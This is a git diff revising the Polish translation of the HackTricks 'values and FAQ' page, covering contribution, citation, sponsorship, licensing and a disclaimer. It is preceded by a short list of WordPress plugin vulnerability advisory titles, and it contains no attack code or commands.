+- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability) +- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability) +- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability) +- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a1b9ff89d..35f3d43ba 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,4 +1,4 @@ -# HackTricks Wartości i FAQ +# Wartości HackTricks i FAQ {{#include ../banners/hacktricks-training.md}} @@ -7,50 +7,50 @@ > [!TIP] > Oto **wartości projektu HackTricks**: > -> - Zapewnić **DARMOWY** dostęp do **EDUCATIONAL hacking** resources dla **CAŁEGO** Internetu. +> - Zapewnić **FREE** dostęp do **EDUCATIONAL hacking** zasobów dla **ALL** Internetu. > - Hacking polega na uczeniu się, a nauka powinna być możliwie jak najbardziej darmowa. -> - Celem tej książki jest służyć jako kompleksowy **zasób edukacyjny**. -> - **PRZECHOWYWAĆ** świetne **hacking** techniki, które publikuje społeczność, oddając **ORYGINALNYM** **AUTOROM** wszystkie **zasługi**. -> - **Nie oczekujemy uznania od innych**, chcemy tylko przechowywać fajne triki dla wszystkich. -> - Piszemy też **własne badania** w HackTricks. -> - W kilku przypadkach napiszemy w HackTricks jedynie **streszczenie najważniejszych części** techniki i **zachęcimy czytelnika do odwiedzenia oryginalnego wpisu** po więcej szczegółów. -> - **ORGANIZOWAĆ** wszystkie techniki **hacking** w książce tak, aby były **BARDZIEJ DOSTĘPNE** +> - Celem tej książki jest służenie jako kompleksowy zasób edukacyjny. +> - **STORE** świetne **hacking** techniki publikowane przez społeczność, oddając **ORIGINAL** **AUTHORS** wszystkie **credits**. +> - **We don't want the credit from other people**, chcemy po prostu przechowywać fajne sztuczki dla wszystkich. +> - Publikujemy także **our own researches** w HackTricks. +> - W kilku przypadkach opiszemy w HackTricks jedynie **podsumowanie najważniejszych części** techniki i **zachęcimy lektora do odwiedzenia oryginalnego wpisu** po więcej szczegółów. +> - **ORGANIZE** wszystkie techniki **hacking** w książce, aby były **MORE ACCESSIBLE** > - Zespół HackTricks poświęcił tysiące godzin za darmo **wyłącznie na organizację treści**, aby ludzie mogli **uczyć się szybciej**
-## FAQ HackTricks +## HackTricks faq > [!TIP] > > - **Thank you so much for these resources, how can I thank you?** -Możesz publicznie podziękować zespołowi HackTricks za zebranie tych zasobów, publikując tweet i oznaczając [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ -Jeśli jesteś szczególnie wdzięczny możesz także [**sponsorować projekt tutaj**](https://github.com/sponsors/carlospolop).\ -I nie zapomnij **dodać gwiazdki do projektów Github!** (Zobacz linki poniżej). +Możesz publicznie podziękować zespołowi HackTricks za udostępnienie tych zasobów, publikując tweet i wspominając [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ +Jeśli jesteś szczególnie wdzięczny możesz również [**sponsor the project here**](https://github.com/sponsors/carlospolop).\ +I nie zapomnij dać gwiazdki projektom na GitHubie! (Linki znajdziesz poniżej). > [!TIP] > > - **How can I contribute to the project?** -Możesz **dzielić się nowymi wskazówkami i trikami z społecznością lub naprawiać błędy** które znajdziesz w książkach, wysyłając **Pull Request** na odpowiednie strony Github: +Możesz **dzielić się nowymi tips and tricks ze społecznością lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** do odpowiednich stron na Github: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Nie zapomnij **dodać gwiazdki do projektów Github!** +Nie zapomnij dać gwiazdki projektom na Githubie! > [!TIP] > > - **Can I copy some content from HackTricks and put it in my blog?** -Tak, możesz, ale **nie zapomnij podać konkretnych linków** skąd pochodzi treść. +Tak, możesz, ale **nie zapomnij wspomnieć konkretnych link(ów)**, skąd pochodziła zawartość. > [!TIP] > > - **How can I reference a page of HackTricks?** -Tak długo jak pojawi się link **do** strony(-stron), z której pochodzi informacja, to wystarczy.\ +Dopóki pojawi się link do strony/stron, z których wzięto informacje, to wystarczy.\ Jeśli potrzebujesz bibtex możesz użyć czegoś takiego: ```latex @misc{hacktricks-bibtexing, @@ -64,82 +64,80 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > > - **Czy mogę skopiować wszystkie HackTricks na mój blog?** -**Wolałbym nie.** To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo. +**Wolałbym nie**. To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo. -Jeśli obawiasz się, że zniknie, po prostu zrób fork na Github lub pobierz ją — jak już mówiłem, jest już darmowa. +Jeśli obawiasz się, że zniknie, po prostu zforkuj to na Github lub pobierz — jak już powiedziałem, jest już dostępne za darmo. > [!WARNING] > > - **Dlaczego macie sponsorów? Czy książki HackTricks mają cele komercyjne?** -Pierwszą **wartością** HackTricks jest oferowanie **DARMOWYCH** materiałów edukacyjnych dotyczących hackingu dla **CAŁEGO** świata. Zespół HackTricks poświęcił **tysiące godzin**, aby udostępnić tę zawartość, ponownie, za **DARMO**. +Pierwsza **wartość** HackTricks to oferowanie **DARMOWYCH** edukacyjnych zasobów o hacking dla **CAŁEGO** świata. Zespół HackTricks poświęcił **tysiące godzin**, aby udostępnić te materiały, ponownie, **ZA DARMO**. -Jeśli uważasz, że książki HackTricks są tworzone w **celach komercyjnych**, to jesteś **CAŁKOWICIE W BŁĘDZIE**. +Jeśli myślisz, że książki HackTricks są tworzone w **celach komercyjnych**, to jesteś **CAŁKOWICIE W BŁĘDZIE**. -Mamy sponsorów, ponieważ nawet jeśli cała zawartość jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom opcję przekazania darowizny na HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), oraz **odpowiednim firmom związanym z cyberbezpieczeństwem** sponsorowanie HackTricks i umieszczenie **kilku reklam** w książce — reklamy są zawsze umieszczane w miejscach, które czynią je **widocznymi**, ale **nie przeszkadzają w procesie nauki**, jeśli ktoś skupia się na treści. +Mamy sponsorów, ponieważ nawet jeśli cała zawartość jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli tego chcą. Dlatego oferujemy opcję przekazania wsparcia HackTricks poprzez [**Github sponsors**](https://github.com/sponsors/carlospolop), oraz dajemy **odpowiednim firmom z branży cybersecurity** możliwość sponsorowania HackTricks i umieszczania **niektórych reklam** w książce — **reklamy** są zawsze umieszczane w miejscach, w których są **widoczne**, ale **nie przeszkadzają w nauce**, jeśli ktoś skupia się na treści. Nie znajdziesz HackTricks wypełnionego irytującymi reklamami jak inne blogi z dużo mniejszą zawartością niż HackTricks, ponieważ HackTricks nie jest tworzony w celach komercyjnych. > [!CAUTION] > -> - **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie ma odniesienia?** +> - **Co zrobić, jeśli jakaś strona HackTricks jest oparta na moim wpisie na blogu, ale nie została do niej odniesiona?** -**Bardzo nam przykro. To nie powinno się stać.** Proszę, daj nam znać przez Github issues, Twitter, Discord... podaj link do strony HackTricks z treścią oraz link do twojego bloga i **sprawdzimy to i dodamy odniesienie jak najszybciej**. +**Bardzo przepraszamy. To nie powinno się zdarzyć**. Proszę, daj nam znać przez Github issues, Twitter, Discord... podaj link do strony HackTricks z treścią oraz link do twojego bloga i **sprawdzimy to i dodamy jak najszybciej**. > [!CAUTION] > -> - **Co zrobić, jeśli w HackTricks znajduje się treść z mojego bloga i nie chcę jej tam?** +> - **Co zrobić, jeśli treść z mojego bloga znajduje się w HackTricks i nie chcę jej tam mieć?** Zauważ, że posiadanie linków do twojej strony w HackTricks: - Poprawia twoje **SEO** - Zawartość jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści -- **HackTricks zachęca** ludzi do **sprawdzenia twojej strony** (kilka osób wspomniało nam, że odkąd jakaś ich strona jest w HackTricks, otrzymują więcej odwiedzin) +- **HackTricks zachęca** ludzi do **sprawdzenia twojej strony** (wiele osób wspomniało nam, że odkąd któraś z ich stron pojawiła się w HackTricks, otrzymują więcej odwiedzin) -Jeśli jednak nadal chcesz, aby treść twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a my na pewno **usuniemy wszelkie linki do twojego bloga** oraz wszelką zawartość opartą na nim. +Jeśli mimo to chcesz, aby treść twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a my **usunziemy każdy link do twojego bloga** i wszelką zawartość na nim opartą. > [!CAUTION] > -> - **Co powinienem zrobić, jeśli znajdę skopiowaną treść w HackTricks?** +> - **Co zrobić, jeśli znajdę skopiowaną zawartość w HackTricks?** -Zawsze **oddajemy oryginalnym autorom wszelkie zasługi**. Jeśli znajdziesz stronę ze skopiowaną treścią bez odwołania do oryginalnego źródła, daj nam znać, a my albo **usuniemy ją**, albo **dodamy link przed tekstem**, albo **przepiszemy ją, dodając link**. +Zawsze **przyznajemy oryginalnym autorom pełne zasługi**. Jeśli znajdziesz stronę ze skopiowaną zawartością bez podania źródła, daj nam znać, a my albo **usunemy ją**, **dodamy link przed tekstem**, albo **przepiszemy ją dodając link**. -## LICENCJA +## LICENSE Copyright © Wszelkie prawa zastrzeżone, chyba że zaznaczono inaczej. -#### Podsumowanie licencji: +#### License Summary: -- Atrybucja: Możesz: -- Udostępniać — kopiować i rozpowszechniać materiał w dowolnym medium lub formacie. -- Adaptować — remiksować, przekształcać i tworzyć na podstawie materiału. +- Attribution: Masz prawo: +- Share — kopiować i rozpowszechniać materiał w dowolnym medium lub formacie. +- Adapt — remiksować, przekształcać i tworzyć na bazie materiału. -#### Dodatkowe warunki: +#### Additional Terms: -- Treści stron trzecich: Niektóre części tego bloga/książki mogą zawierać treści z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Wykorzystanie takich treści odbywa się zgodnie z zasadami dozwolonego użytku (fair use) lub za wyraźną zgodą odpowiednich posiadaczy praw autorskich. Prosimy o odniesienie się do oryginalnych źródeł w celu uzyskania szczegółowych informacji dotyczących licencji dla treści stron trzecich. -- Autorstwo: Oryginalne treści stworzone przez HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisania autorstwa temu dziełu przy udostępnianiu lub adaptowaniu go. +- Third-Party Content: Niektóre części tego bloga/książki mogą zawierać treści pochodzące z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Wykorzystanie takich treści odbywa się zgodnie z zasadami fair use lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy o zapoznanie się z oryginalnymi źródłami w celu uzyskania informacji o konkretnych licencjach dotyczących treści stron trzecich. +- Authorship: Oryginalne treści autorstwa HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisywania autorstwa przy udostępnianiu lub adaptowaniu tej pracy. -#### Wyłączenia: +#### Exemptions: -- Wykorzystanie komercyjne: W sprawach dotyczących komercyjnego wykorzystania tych treści, proszę o kontakt. +- Commercial Use: W sprawach dotyczących komercyjnego wykorzystania tych treści, prosimy o kontakt. -Niniejsza licencja nie przyznaje żadnych praw do znaków towarowych lub brandingu w związku z treścią. Wszystkie znaki towarowe i elementy brandingu występujące w tym blogu/książce są własnością ich odpowiednich właścicieli. +Niniejsza licencja nie przyznaje żadnych praw do znaków towarowych ani do brandingu w związku z treścią. Wszystkie znaki towarowe i branding występujące w tym blogu/książce są własnością ich odpowiednich właścicieli. -**Uzyskując dostęp do HackTricks lub korzystając z niego, zgadzasz się przestrzegać warunków tej licencji. Jeśli nie zgadzasz się z tymi warunkami, prosimy nie odwiedzać tej witryny.** +**Korzystając z HackTricks, akceptujesz warunki tej licencji. Jeśli nie zgadzasz się z tymi warunkami, prosimy nie korzystać z tej strony.** -## **Zrzeczenie odpowiedzialności** +## **Disclaimer** > [!CAUTION] -> Ta książka, 'HackTricks', przeznaczona jest wyłącznie do celów edukacyjnych i informacyjnych. -> -> Treść zawarta w tej książce jest udostępniana "w stanie, w jakim się znajduje" i autorzy oraz wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych ani dorozumianych, co do kompletności, dokładności, wiarygodności, przydatności lub dostępności informacji, produktów, usług czy powiązanych grafik zawartych w tej książce. Wszelkie poleganie przez Ciebie na takich informacjach odbywa się wyłącznie na Twoje ryzyko. -> -> Autorzy i wydawcy nie ponoszą w żadnym wypadku odpowiedzialności za jakiekolwiek straty lub szkody, w tym bez ograniczeń, za straty pośrednie lub następcze, ani za jakiekolwiek szkody wynikające z utraty danych lub zysków wynikających z korzystania z tej książki lub w związku z tym. -> -> Dodatkowo techniki i wskazówki opisane w tej książce są przeznaczone wyłącznie do celów edukacyjnych i informacyjnych i nie powinny być wykorzystywane do jakichkolwiek nielegalnych lub złośliwych działań. Autorzy i wydawcy nie pochwalają ani nie wspierają żadnych nielegalnych lub nieetycznych działań, a każde użycie informacji zawartych w tej książce odbywa się na własne ryzyko i odpowiedzialność użytkownika. -> -> Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze zasięgnąć profesjonalnej porady i pomocy przy próbach wdrażania jakichkolwiek technik lub wskazówek tu opisanych. -> -> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności i roszczeń za wszelkie szkody, straty lub krzywdy mogące wyniknąć z korzystania z tej książki lub z informacji w niej zawartych. +> Ta książka, 'HackTricks', jest przeznaczona wyłącznie do celów edukacyjnych i informacyjnych. Zawartość tej książki jest udostępniona na zasadzie "as is", a autorzy i wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych ani dorozumianych, dotyczących kompletności, dokładności, wiarygodności, przydatności lub dostępności informacji, produktów, usług lub powiązanych grafik zawartych w tej książce. Każde poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko. +> +> Autorzy i wydawcy w żadnym wypadku nie ponoszą odpowiedzialności za jakiekolwiek straty lub szkody, w tym bez ograniczeń, straty pośrednie lub wynikowe, ani za jakiekolwiek straty lub szkody powstałe w związku z utratą danych lub zysków wynikających z korzystania z tej książki. +> +> Ponadto techniki i wskazówki opisane w tej książce są podane wyłącznie w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do działań nielegalnych lub złośliwych. Autorzy i wydawcy nie pochwalają ani nie wspierają żadnych działań niezgodnych z prawem lub nieetycznych, a wszelkie wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i odpowiedzialność użytkownika. +> +> Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze zasięgnąć profesjonalnej porady i pomocy przy próbach wdrażania jakichkolwiek opisanych technik lub wskazówek. +> +> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności za wszelkie szkody, straty lub krzywdy, które mogą wyniknąć z korzystania z tej książki lub jakichkolwiek informacji w niej zawartych. {{#include ../banners/hacktricks-training.md}}